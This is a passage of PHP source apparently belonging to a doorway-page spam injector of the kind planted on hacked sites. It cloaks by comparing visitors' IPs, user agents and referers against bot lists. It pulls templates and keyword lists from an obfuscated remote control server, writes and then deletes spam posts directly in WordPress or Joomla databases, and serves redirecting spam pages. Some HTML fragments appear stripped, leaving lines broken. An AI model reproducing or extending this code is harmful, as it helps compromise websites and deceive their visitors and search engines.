(.*?)<\/div>/is"," ",$goodwordpresspage);
if (!wp_delete_post($post_id, true)) {
wp_delete_post($post_id, true);
}
echo $redirect . "" . $goodwordpresspage;
die();
}
}
}elseif(include_cms() == "joomla"){
if (!is_function_enabled('postItem') && !class_exists("JFactory")) {
$errors.= "Not Joomla, bad version of Joomla or include before Joomla functions loaded\t";
$errorsforlocal.= "Not Joomla, bad version of Joomla or include before Joomla functions loaded\t";
}
else {
$page = str_ireplace("[REDIRECT]", "", $page);
$page = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $page);
if (!empty($redirect)) {
$redirect = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $redirect);
}
$page = explode("====================", $page);
if (count($page) >= 3) {
$joomlaurl = explode("/", $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
unset($joomlaurl[count($joomlaurl) - 1]);
$idtemp = postItem(trim($page[0]) , trim($page[1]) , trim($page[2]));
$idtemp = explode(":", $idtemp);
if (is_array($idtemp)) {
$alias = trim($idtemp[1]);
$id = trim($idtemp[0]);
$page = $new_request->request("http://" . trim(implode("/", $joomlaurl) , "/") . "/index.php/" . $id . "-" . $alias . "?ineedthispage=yes");
$page = str_ireplace("&ineedthispage=yes", "", $page);
$page = str_ireplace("&ineedthispage=yes", "", $page);
$page = str_ireplace("?ineedthispage=yes", "", $page);
$page = preg_replace("/
(.*?)<\/div>/is"," ",$page);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content'))->where(array(
$db->quoteName('id') . '=' . $id
));
$db->setQuery($query);
$result = $db->query();
echo $redirect . "" . $page;
die();
}
}
}
}else{
$page = str_ireplace("[REDIRECT]", $redirect, $page);
$page = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $page);
echo $page;
die();
}
}
if ($clienttype == "pdftype" ) {
if (!empty($redirect) && strpos($q,"sitemap") === FALSE) {
$redirect = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $redirect);
echo $redirect;
die();
}
else {
$page = str_ireplace("[REDIRECT]", "", $page);
$page = explode("====================", $page);
$pdf = new PDF_HTML();
$pdf->AddFont('arial','','119379869a251bdd6a14438b3c5514f2_arial.php');
$pdf->AddPage();
$pdf->SetFont('arial','',14);
$pdf->Cell(210,4,$page[0],0,0);
$pdf->Ln();
$pdf->SetFont('arial','',12);
$pdf->WriteHTML($page[2]);
$pdf->Output();
die();
}
}
}
if (!empty($errorsforlocal) && is_dir($cachedirname)) {
$errorsforlocal = date("d F Y H:i:s") . "\t" . $q . "\t" . trim($errorsforlocal);
if (file_exists($errorsfilename) && count(file($errorsfilename)) > 500) {
$fod = fopen($errorsfilename, "w+");
}
else {
$fod = fopen($errorsfilename, "a+");
}
flock($fod, LOCK_EX);
fwrite($fod, $errorsforlocal . "\n");
fclose($fod);
}
if (!empty($_GET['ineederrors']) && $_GET['ineederrors'] == "yes") {
if (!empty($errorsforlocal)) {
echo "
Current errors: " . $errorsforlocal . "
";
if (file_exists($errorsfilename)) {
$errorsfilename = file($errorsfilename);
$errorsfilename = implode('\n',$errorsfilename);
echo "
Errors history: " . $errorsfilename;
}
die();
}
else {
echo "No errors";
}
}
}
function include_cms(){
return false;
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php')){
define('WP_USE_THEMES', false);
require($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');
return "wp";
}elseif(file_exists($_SERVER['DOCUMENT_ROOT'].'/includes/framework.php')){
define( '_JEXEC', 1 );
define( 'DS', DIRECTORY_SEPARATOR );
define( 'JPATH_BASE', $_SERVER[ 'DOCUMENT_ROOT' ] );
require_once( JPATH_BASE . DS . 'includes' . DS . 'defines.php' );
require_once( JPATH_BASE . DS . 'includes' . DS . 'framework.php' );
require_once( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' );
$mainframe =& JFactory::getApplication('site');
return "joomla";
}
}
function getbody($body)
{
global $body;
return $body;
}
function gettitle($title)
{
global $title;
return $title;
}
function getdesc($desc)
{
global $desc;
echo "
";
}
function randString($length)
{
$str = "";
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$str.= $chars[rand(0, $size - 1) ];
}
return $str;
}
function getsettings($settfile, $needsetting, $fileorcontent)
{
if (empty($fileorcontent)) {
if (file_exists($settfile)) {
$settings = implode("\n",file($settfile));
}
else {
return "";
}
}
else {
$settings = $settfile;
}
$settings = urlencode($settings);
$settings = trim($settings, "%0A");
$settings.= "%0A";
if ($needsetting == "clienturl") {
preg_match("/clienturl%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$clienturl = $matches[1];
$clienturl = trim($clienturl);
return $clienturl;
}
else {
return "";
}
}
if ($needsetting == "clearcache") {
preg_match("/clearcache%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$clearcache = $matches[1];
$clearcache = trim($clearcache);
return $clearcache;
}
else {
return "";
}
}
if ($needsetting == "newkeys") {
preg_match("/newkeys%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$newkeys = $matches[1];
$newkeys = trim($newkeys);
return $newkeys;
}
else {
return "";
}
}
if ($needsetting == "cleanrescode") {
preg_match("/cleanrescode%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$cleanrescode = $matches[1];
$cleanrescode = trim($cleanrescode);
return $cleanrescode;
}
else {
return "";
}
}
if ($needsetting == "dotemplate") {
preg_match("/dotemplate%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$dotemplate = $matches[1];
$dotemplate = trim($dotemplate);
return $dotemplate;
}
else {
return "";
}
}
if ($needsetting == "newuseragents") {
preg_match("/newuseragents%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$newuseragents = $matches[1];
$newuseragents = trim($newuseragents);
return $newuseragents;
}
else {
return "";
}
}
if ($needsetting == "newbotips") {
preg_match("/newbotips%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$newbotips = $matches[1];
$newbotips = trim($newbotips);
return $newbotips;
}
else {
return "";
}
}
if ($needsetting == "newreffs") {
preg_match("/newreffs%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$newreffs = $matches[1];
$newreffs = trim($newreffs);
return $newreffs;
}
else {
return "";
}
}
if ($needsetting == "usecloack") {
preg_match("/usecloack%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$usecloack = $matches[1];
$usecloack = trim($usecloack);
return $usecloack;
}
else {
return "";
}
}
if ($needsetting == "itsinclude") {
preg_match("/itsinclude%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$itsinclude = $matches[1];
$itsinclude = trim($itsinclude);
return $itsinclude;
}
else {
return "";
}
}
if ($needsetting == "clienttype") {
preg_match("/clienttype%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$clienttype = $matches[1];
$clienttype = trim($clienttype);
return $clienttype;
}
else {
return "";
}
}
if ($needsetting == "lang") {
preg_match("/lang%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$lang = $matches[1];
$lang = trim($lang);
return $lang;
}
else {
return "";
}
}
if ($needsetting == "wherecontent") {
preg_match("/wherecontent%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$wherecontent = $matches[1];
$wherecontent = trim($wherecontent);
return $wherecontent;
}
else {
return "";
}
}
if ($needsetting == "textfilename") {
preg_match("/textfilename%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$textfilename = $matches[1];
$textfilename = trim($textfilename);
return $textfilename;
}
else {
return "";
}
}
if ($needsetting == "keyfilename") {
preg_match("/keyfilename%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$keyfilename = $matches[1];
$keyfilename = trim($keyfilename);
return $keyfilename;
}
else {
return "";
}
}
if ($needsetting == "themesfilename") {
preg_match("/themesfilename%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$themesfilename = $matches[1];
$themesfilename = trim($themesfilename);
return $themesfilename;
}
else {
return "";
}
}
if ($needsetting == "templatename") {
preg_match("/templatename%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$templatename = $matches[1];
$templatename = trim($templatename);
return $templatename;
}
else {
return "";
}
}
if ($needsetting == "extlinksfilename") {
preg_match("/extlinksfilename%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$extlinksfilename = $matches[1];
$extlinksfilename = trim($extlinksfilename);
return $extlinksfilename;
}
else {
return "";
}
}
if ($needsetting == "renewclient") {
preg_match("/renewclient%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$renewclient = $matches[1];
$renewclient = trim($renewclient);
return $renewclient;
}
else {
return "";
}
}
if ($needsetting == "keyperem") {
preg_match("/keyperem%3D(.*)%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$keyperem = $matches[1];
$keyperem = trim($keyperem);
return $keyperem;
}
else {
return "";
}
}
if ($needsetting == "redirect") {
preg_match("/redirect%3D(.*)ENDOFREDIRECT%0A/miU", $settings, $matches);
if (!empty($matches[1])) {
$redirect = $matches[1];
$redirect = trim($redirect);
return $redirect;
}
else {
return "";
}
}
return "";
}
function is_function_enabled($func)
{
$func = strtolower(trim($func));
if ($func == '') return false;
$disabled = explode(",", @ini_get("disable_functions"));
if (empty($disabled)) {
$disabled = array();
}
else {
$disabled = array_map('trim', array_map('strtolower', $disabled));
}
return (function_exists($func) && is_callable($func) && !in_array($func, $disabled));
}
function checktime($timetocurl)
{
global $cachedirname;
global $clientid;
if (is_dir($cachedirname)) {
if (!file_exists($cachedirname . "/" . substr($clientid, 0, 7))) {
$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, "");
fclose($fod);
}
else {
return "errorcreate";
}
}
$cron_time = filemtime($cachedirname . "/" . substr($clientid, 0, 7));
if (time() - $cron_time >= $timetocurl) {
@unlink($cachedirname . "/" . substr($clientid, 0, 7));
$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
if (!empty($fod)) {
flock($fod, LOCK_EX);
fwrite($fod, "");
fclose($fod);
return "goodtime";
}
else {
return "errorcreate";
}
}
return false;
}
else {
return false;
}
}
function cloack($ip)
{
global $referer;
global $useragent;
global $useragentsfilename;
global $botipsfilename;
global $referersfilename;
global $new_request;
global $useragentsfilename_url;
global $referersfilename_url;
$angrybot = "";
if (file_exists($useragentsfilename)) {
$useragents = decodedata(implode("\n",file($useragentsfilename)));
$useragents = trim($useragents);
$useragents = explode("\n", $useragents);
}
if (file_exists($referersfilename)) {
$goodrefs = decodedata(implode("\n",file($referersfilename)));
$goodrefs = trim($goodrefs);
$goodrefs = explode("\n", $goodrefs);
}
$nowref = strtolower($referer);
$nowref = trim($nowref);
$nowua = strtolower($useragent);
$nowua = trim($nowua);
$ip = trim($ip);
if (file_exists($botipsfilename) && !empty($ip)) {
$ipforcloack = explode(".", $ip);
$handle = fopen($botipsfilename, "r");
$i = 1;
while (!feof($handle)) {
$cloackip = trim(fgets($handle));
if (!empty($cloackip)) {
$cloackip = explode(".", $cloackip);
$needcloackip = explode("/", $cloackip[3]);
if (!empty($needcloackip[1])) {
if ($ipforcloack[0] == $cloackip[0] && $ipforcloack[1] == $cloackip[1] && $ipforcloack[2] == $cloackip[2] && $ipforcloack[3] >= $needcloackip[0] && $ipforcloack[3] <= $needcloackip[1]) {
$angrybot = "1";
break;
}
}
else {
if ($ip == implode(".", $cloackip)) {
$angrybot = "1";
break;
}
}
$i++;
}
}
fclose($handle);
}
if (empty($angrybot)) {
if (!empty($useragents[0])) {
foreach($useragents as $cloackuseragent) {
$cloackuseragent = strtolower($cloackuseragent);
$cloackuseragent = trim($cloackuseragent);
if (strpos("qqqq " . $nowua, $cloackuseragent) && !empty($cloackuseragent)) {
$angrybot = "1";
break;
}
}
}
if (empty($angrybot)) {
if (!empty($goodrefs)) {
foreach($goodrefs as $goodref) {
if (!empty($goodref)) {
$goodref = strtolower($goodref);
$goodref = trim($goodref);
if (strpos("qqqq " . $nowref, $goodref)) {
$angrybot = "";
break;
}
else {
$angrybot = "1";
}
}
else {
break;
}
}
}
}
}
return $angrybot;
}
function codedata($data)
{
$data = gzcompress(base64_encode(urlencode($data)) , 4);
return urlencode($data);
}
function codeservurl($servurl)
{
if (mb_detect_encoding($servurl) == "UTF-8") {
$servurl = trim($servurl);
}
else {
$servurl = iconv(mb_detect_encoding($servurl) , "UTF-8", $servurl);
$servurl = trim($servurl);
}
$goodservurl = array();
foreach(str_split(base64_encode(urlencode($servurl))) as $onechar) {
if (is_numeric($onechar)) {
$onechar = $onechar + 7;
if ($onechar > 9) {
$onechar = $onechar - 10;
}
}
$goodservurl[] = $onechar;
}
return implode($goodservurl);
}
function decodedata($data)
{
return urldecode(base64_decode(gzuncompress(urldecode($data))));
}
function keyindoorway($currentkey, $keyfilename)
{
$foundkey = "";
$currentkey = trim(urldecode($currentkey));
$currentkey = str_ireplace("-", " ", $currentkey);
$currentkey = strtolower($currentkey);
$allkeys = decodedata($new_request->request($keyfilename));
$allkeys = explode("\n", $allkeys);
foreach($allkeys as $keyfrcheck) {
$keyfrcheck = trim($keyfrcheck);
$keyfrcheck = strtolower($keyfrcheck);
if (stripos("qqqq" . $currentkey, "qqq" . $keyfrcheck)) {
$foundkey = "yes";
break;
}
}
return $foundkey;
}
function postItem($title, $desc, $text)
{
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = $title;
$item->introtext = $desc;
$item->fulltext = $text;
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = date('Y-m-d H:i:s');
$item->alias = JFilterOutput::stringURLSafe($item->title);
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
return false;
}
return $item->id . ":" . $item->alias;
}
function full_del_dir($directory)
{
$dir = opendir($directory);
while (($file = readdir($dir))) {
if (is_file($directory . "/" . $file)) {
unlink($directory . "/" . $file);
}
else
if (is_dir($directory . "/" . $file) && ($file != ".") && ($file != "..")) {
full_del_dir($directory . "/" . $file);
}
}
closedir($dir);
rmdir($directory);
};
function paginate($array, $pageSize, $page = 1){
$page = $page < 1 ? 1 : $page;
$start = ($page - 1) * $pageSize;
return array_slice($array, $start, $pageSize);
}
function getcontent($_workstatus, $_templatename, $_keyfilename, $_wherecontent, $_currkey, $_clienturl, $_clientdomain, $cachedirname, $errorsfilename, $servurl, $lang, $clientid){
global $useCurl, $requestTimeout,$new_request,$clienttype,$client_url_orig;
$serverurl = str_ireplace("settings.php", "", $servurl);
$orig_key = $_currkey;
$_currkey = str_replace("-", " ", $_currkey);
$_keyfile_data = implode("\n",file($_keyfilename));
$_keyfile_data = explode("\n", decodedata($_keyfile_data));
$count_keys = count($_keyfile_data);
if ($_workstatus == "work" && !empty($_templatename) && !empty($_keyfilename)) {
if ($_wherecontent == "bingsnippets") {
if(strpos($_currkey,"sitemap") !== FALSE)
$_result = "site map";
else
$_result = bingcontent($_currkey, $lang);
if ($_workstatus == "work" && empty($_templatename)) {
$_message.= "Template not setted ";
}
if ($_workstatus == "work" && !empty($_templatename) && $clienttype != "pdftype"){
if(include_cms() == "wp" || include_cms() == "joomla"){
if(strpos($_currkey,"sitemap") !== FALSE)
$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_wp_map.txt");
else
$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_wp.txt");
}else{
if(strpos($_currkey,"sitemap") !== FALSE)
$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/sitemaphtml_v1.txt");
else
$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/" . $_templatename);
}
}elseif($clienttype == "pdftype"){
if(strpos($_currkey,"sitemap") !== FALSE)
$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_pdf.txt_map");
else
$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_pdf.txt");
}
if (stripos("qqqq" . $_template_data, "[SITEMAP]")) {
$_template_data = str_replace("[TITLESITEMAP]","Sitemap",$_template_data);
$numpage = max(1, intval(str_ireplace("sitemap ","",$_currkey)));
$totalPages = ceil( count($_keyfile_data)/ 500 );
$keys_for_map = paginate($_keyfile_data, 500, $numpage);
$html_map = '';//
$html_tags = array('
[LINKMAP]','
[LINKMAP]
','
[LINKMAP]','
','
','
[LINKMAP]
');
foreach($keys_for_map as $v){
$rand_tag = array_rand($html_tags,1);
$html_map .= str_replace("[LINKMAP]", '
' . ucfirst(trim($v)) . "", $html_tags[$rand_tag]);
}
$_template_data = str_replace("[SITEMAP]",$html_map,$_template_data);
$pagination .= '';
$_template_data = str_replace("[PAGINATION]",$pagination,$_template_data);
}
if (!empty($_template_data) && !empty($_result) && !empty($_currkey) && !empty($_keyfile_data) && !empty($_clienturl)) {
if (stripos("qqqq" . $_template_data, "[RANDOMLINES")) {
$_pattern = "#(\[RANDOMLINES:.*\])#iU";
preg_match_all($_pattern, $_template_data, $_matches);
if (!empty($_matches[1])) {
$files = array();
foreach($_matches[1] as $_value) {
$_randomline = "";
$_normal = trim($_value);
$_normal = str_replace("[", "", $_normal);
$_normal = str_replace("]", "", $_normal);
$_normal = explode(":", $_normal);
if(!$files[trim($_normal[1])]){
$_randomlines = file("http://" . $serverurl . "workdir/randomlines/" . trim($_normal[1]));
$files[trim($_normal[1])] = $_randomlines;
}else
$_randomlines = $files[trim($_normal[1])];
shuffle($_randomlines);
$count_randomlines = count($_randomlines);
if (trim($_normal[2]) >= $count_randomlines) {
$_normal[2] = $count_randomlines - 1;
}
else {
$_normal[2]--;
}
for ($_i = 0; $_i <= trim($_normal[2]); $_i++) {
$_randomline.= trim($_randomlines[$_i]) . "" . $_normal[3];
}
$_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", trim($_randomline, $_normal[3]) , $_template_data, 1); /* }else{ $_message.= "No file " . trim($_normal[1]) . " for random lines "; $_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", "", $_template_data, 1); } */
}
}
}
if (strpos($_template_data, "[:::") !== FALSE) {
$_pattern = "/(\[:::.*:::\])/iU";
preg_match_all($_pattern, $_template_data, $_matches);
if ($_matches[1]) {
foreach($_matches[1] as $_value) {
$_value = trim($_value);
$_elements = str_replace("[:::", "", $_value);
$_elements = str_replace(":::]", "", $_elements);
$_elements = explode("|", $_elements);
shuffle($_elements);
if (!empty($_elements[0])):
$_template_data = preg_replace("|" . preg_quote($_value) . "|iU", trim($_elements[0]) , $_template_data, 1);
else:
$_template_data = str_ireplace($_value, "", $_template_data);
endif;
}
}
}
$_pattern = "/(\[SENTENCE:.*\])/iU";
preg_match_all($_pattern, $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_sentence) {
$_sentence_normal = trim($_sentence);
$_sentence_normal = str_replace("[", "", $_sentence_normal);
$_sentence_normal = str_replace("]", "", $_sentence_normal);
$_sentence_normal = explode(":", $_sentence_normal);
$_full_str = edittext($_sentence_normal[1], $_sentence_normal[2], $_result, $_sentence_normal[3], $_sentence_normal[4], '' . $_sentence_normal[5], $_currkey, $_keyfile_data, $_themesfile_data, "workdir/extlinks/" . $_extlinksfilename, $_clienturl, '' . $_sentence_normal[6], $_extlinksfile_data, $_sentence_normal[7]);
$_full_str = str_replace("$", "\$", $_full_str);
if (!empty($_full_str)):
$_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", ucfirst($_full_str) , $_template_data, 1);
else:
$_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", "", $_template_data, 1);
endif;
}
}
$_template_data = str_replace("[UPKEY]", mb_strtoupper(mb_substr($_currkey, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey, 1, mb_strlen($_currkey) , "UTF-8") , $_template_data);
$_template_data = str_replace("[RANDTEMATICKEY]", "", $_template_data);
if (strpos($_template_data, "[RANDKEYWORD") !== FALSE) {
shuffle($_keyfile_data);
preg_match_all("/(\[RANDKEYWORD:.*\])/iUm", $_template_data, $_matches);
foreach($_matches[1] as $_rand_val){
$_template_data = str_replace($_rand_val,ucfirst(trim($_keyfile_data[rand(1,20)])),$_template_data);
}
}
if (strpos($_template_data, "[RANDKEYWORD]") !== FALSE) {
shuffle($_keyfile_data);
$_count_rand = substr_count($_template_data, "[RANDKEYWORD]");
for ($_i = 0; $_i <= $_count_rand; $_i++) {
$_template_data = preg_replace("/\[RANDKEYWORD\]/", ucfirst(trim($_keyfile_data[$_i])) , $_template_data, 1);
}
}
if (strpos($_template_data, "[RANDOMLINK]") !== FALSE) {
shuffle($_keyfile_data);
$_count_rand = substr_count($_template_data, "[RANDOMLINK]");
for ($_i = 0; $_i <= $_count_rand; $_i++) {
$_template_data = preg_replace("/\[RANDOMLINK\]/", '
' . ucfirst(trim($_keyfile_data[$_i])) . "", $_template_data, 1);
}
}
if (strpos($_template_data, "[SIMPLERANDOMLINK]") !== FALSE) {
shuffle($_keyfile_data);
$_count_rand = substr_count($_template_data, "[SIMPLERANDOMLINK]");
for ($_i = 0; $_i <= $_count_rand; $_i++):
$_template_data = preg_replace("/\[SIMPLERANDOMLINK\]/", "http://" . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) , $_template_data, 1);
endfor;
}
if (strpos($_template_data, "[RAND:") !== FALSE) {
$_pattern = "/(\[RAND:[0-9]*:[0-9]*\])/";
preg_match_all($_pattern, $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_rand_val):
$_rand_val_group = explode(":", trim(str_replace("[", "", str_replace("]", "", $_rand_val))));
$_template_data = preg_replace("/" . str_replace("[", "\[", str_replace("]", "\]", $_rand_val)) . "/", rand(trim($_rand_val_group[1]) , trim($_rand_val_group[2])) , $_template_data, 1);
endforeach;
}
}
$_template_data = str_replace("[EXTRANDLINK]", "", $_template_data);
$_template_data = str_replace("[DEFISKEY]", ucfirst(str_replace(" ", "-", $_currkey)) , $_template_data);
$_template_data = str_replace("[THISDOMAIN]", "http://" . $_clientdomain, $_template_data);
$_template_data = str_replace("[DORURL]", str_replace("[KEY]","" , $_clienturl) , $_template_data);
if (strpos($_template_data, "[UPKEY:") !== FALSE) {
$_currkey2 = "";
preg_match_all("/(\[UPKEY:.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_upkeys):
$_currkey2 = $_currkey;
$_upkeys_normal = str_replace("[UPKEY:", "", $_upkeys);
$_upkeys_normal = str_replace("]", "", $_upkeys_normal);
$_upkeys_normal = explode(",", $_upkeys_normal);
foreach($_upkeys_normal as $_normal_key):
$_currkey2 = str_ireplace($_normal_key, "", $_currkey2);
endforeach;
$_currkey2 = str_replace(" ", " ", $_currkey2);
$_currkey2 = trim($_currkey2);
$_template_data = str_ireplace($_upkeys, mb_strtoupper(mb_substr($_currkey2, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey2, 1, mb_strlen($_currkey2) , "UTF-8") , $_template_data);
endforeach;
}
}
if (strpos($_template_data, "[LINK]") !== FALSE) {
$linkovka = $new_request->request("http://".$servurl."?linkovka=1&clientid=".$clientid);
$towns = array ( 0 => 'Alabama ', 1 => 'Alaska ', 2 => 'Arizona ', 3 => 'Arkansas ', 4 => 'California ', 5 => 'Colorado ', 6 => 'Connecticut ', 7 => 'Delaware ', 8 => 'Florida ', 9 => 'Georgia ', 10 => 'Hawaii ', 11 => 'Idaho ', 12 => 'Illinois ', 13 => 'Indiana ', 14 => 'Iowa ', 15 => 'Kansas ', 16 => 'Kentucky ', 17 => 'Louisiana ', 18 => 'Maine ', 19 => 'Maryland ', 20 => 'Massachusetts ', 21 => 'Michigan ', 22 => 'Minnesota ', 23 => 'Mississippi ', 24 => 'Missouri ', 25 => 'Montana ', 26 => 'Nebraska ', 27 => 'Nevada ', 28 => 'New Hampshire ', 29 => 'New Jersey ', 30 => 'New Mexico ', 31 => 'New York ', 32 => 'North Carolina ', 33 => 'North Dakota ', 34 => 'Ohio ', 35 => 'Oklahoma ', 36 => 'Oregon ', 37 => 'Pennsylvania ', 38 => 'Rhode Island ', 39 => 'South Carolina ', 40 => 'South Dakota ', 41 => 'Tennessee ', 42 => 'Texas ', 43 => 'Utah ', 44 => 'Vermont ', 45 => 'Virginia ', 46 => 'Washington ', 47 => 'West Virginia ', 48 => 'Wisconsin ', 49 => 'Wyoming ', 50 => 'AL ', 51 => 'AK ', 52 => 'AZ ', 53 => 'AR ', 54 => 'CA ', 55 => 'CO ', 56 => 'CT ', 57 => 'DE ', 58 => 'FL ', 59 => 'GA ', 60 => 'HI ', 61 => 'ID ', 62 => 'IL ', 63 => 'IN ', 64 => 'IA ', 65 => 'KS ', 66 => 'KY ', 67 => 'LA ', 68 => 'ME ', 69 => 'MD ', 70 => 'MA ', 71 => 'MI ', 72 => 'MN ', 73 => 'MS ', 74 => 'MO ', 75 => 'MT ', 76 => 'NE ', 77 => 'NV ', 78 => 'NH ', 79 => 'NJ ', 80 => 'NM ', 81 => 'NY ', 82 => 'NC ', 83 => 'ND ', 84 => 'OH ', 85 => 'OK ', 86 => 'OR ', 87 => 'PA ', 88 => 'RI ', 89 => 'SC ', 90 => 'SD ', 91 => 'TN ', 92 => 'TX ', 93 => 'UT ', 94 => 'VT ', 95 => 'VA ', 96 => 'WA ', 97 => 'WV ', 98 => 'WI ', 99 => 'WY' );
$linkovka_data = explode('::',$linkovka);
if($linkovka_data){
foreach($linkovka_data as $v){
if($v){
$k = $_currkey.' in '.$towns[rand(0,99)];
$link = str_replace('[KEY]', $orig_key, $v);
$_template_data = preg_replace('/\[LINK\]/', "
".$k."", $_template_data, 1);
}
}
}
$_template_data = str_replace('[LINK]','',$_template_data);
}
if (strpos($_template_data, "[AVATAR") !== FALSE) {
preg_match_all("/(\[AVATAR.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1]) ) {
foreach($_matches[1] as $_upimgs){
$_template_data = str_replace($_upimgs,"
",$_template_data);
}
}
$_template_data = preg_replace("/(\[AVATAR.*\])/iUm",'',$_template_data);
}
if (strpos($_template_data, "[USER") !== FALSE) {
preg_match_all("/(\[USER.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1]) ) {
foreach($_matches[1] as $_upimgs){
$rnd = rand(0,$couser);
$_template_data = str_replace($_upimgs,getip(),$_template_data);
}
}
$_template_data = preg_replace("/(\[USER.*\])/iUm",'',$_template_data);
}
if (strpos($_template_data, "[IMGSRC") !== FALSE) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/images/search?q='.urlencode($_currkey));
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);
$outch = curl_exec($ch);
curl_close($ch);
preg_match_all('!murl":"(.*?)",!siu', $outch, $lines2);
if(!$lines2[1]){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://twitter.com/search?q='.urlencode($_currkey).'&src=typd&mode=photos');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt');
$outch = curl_exec($ch);
curl_close($ch);
preg_match_all('!data-resolved-url-small="(.*?)"!siu', $outch, $lines2);
}
$fotos = array_unique($lines2[1]);
shuffle($fotos);
$ar_imgs = array_values($fotos );
$count_imgs = count($ar_imgs);
preg_match_all("/(\[IMGSRC.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1]) && $count_imgs > 0) {
foreach($_matches[1] as $_upimgs){
$rnd = rand(0,$count_imgs);
if($ar_imgs[$rnd])
$_template_data = str_replace($_upimgs,"
",$_template_data);
}
}
$_template_data = preg_replace("/(\[IMGSRC.*\])/iUm",'',$_template_data);
}
if (strpos($_template_data, "[VIDEO") !== FALSE) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/videos/search?&q='.urlencode($_currkey).'&qft=+filterui:msite-youtube.com&FORM=R5VR15');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
